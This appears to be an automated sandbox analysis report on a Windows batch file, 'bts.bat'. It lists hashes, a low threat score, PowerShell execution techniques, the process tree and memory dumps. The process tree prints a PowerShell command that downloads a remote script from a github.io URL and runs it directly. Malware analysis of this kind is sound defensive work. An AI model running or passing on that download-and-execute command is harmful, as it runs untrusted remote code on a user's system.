4b9e4bbd675a45f1a99d54bff55576ba3c6d79ab76ea30e143d89fc1543e8580

Analysis

max time kernel
119s
max time network
121s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
20-11-2024 06:22

Target

Files/Apps/bts.bat
Size

227B
MD5

0cfdb01d34041f9e16ddd9f17e3f4789
SHA1

393afcbc7fb973b5c2893b8085092f0c2c45311e
SHA256

528ed4942a647ee78a31aaa788ef27b7fe747fcf9fc0e97192ad9a0aaf97c0c2
SHA512

19e96f69fe9b335941b2ae107ca5eeb366825a399428df4af86faabc9f858e09b5bdb4080cff0db89c3a49dd26b77aa25b0e857572a4c39afddc112b113adcd0

Score

3^/10

execution

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

2792 powershell.exe
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

2792 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2792 powershell.exe

pid	process
2792	powershell.exe

pid	process
2792	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2792	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

cmd.exe

description	pid	process	target process
PID 2192 wrote to memory of 2776	2192	cmd.exe	cmd.exe
PID 2192 wrote to memory of 2776	2192	cmd.exe	cmd.exe
PID 2192 wrote to memory of 2776	2192	cmd.exe	cmd.exe
PID 2192 wrote to memory of 2792	2192	cmd.exe	powershell.exe
PID 2192 wrote to memory of 2792	2192	cmd.exe	powershell.exe
PID 2192 wrote to memory of 2792	2192	cmd.exe	powershell.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Files\Apps\bts.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2192
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ver
  2⤵
  PID:2776
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "irm https://schooicodes.github.io/file_hosting/bts.ps1 | iex"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2792

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

PowerShell

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

memory/2792-4-0x000007FEF664E000-0x000007FEF664F000-memory.dmp

Filesize
4KB

Download
memory/2792-5-0x000000001B670000-0x000000001B952000-memory.dmp

Filesize
2.9MB

Download
memory/2792-6-0x0000000002070000-0x0000000002078000-memory.dmp

Filesize
32KB

Download
memory/2792-7-0x000007FEF6390000-0x000007FEF6D2D000-memory.dmp

Filesize
9.6MB

Download
memory/2792-8-0x000007FEF6390000-0x000007FEF6D2D000-memory.dmp

Filesize
9.6MB

Download
memory/2792-9-0x000007FEF6390000-0x000007FEF6D2D000-memory.dmp

Filesize
9.6MB

Download
memory/2792-11-0x000007FEF6390000-0x000007FEF6D2D000-memory.dmp

Filesize
9.6MB

Download
memory/2792-10-0x000007FEF6390000-0x000007FEF6D2D000-memory.dmp

Filesize
9.6MB

Download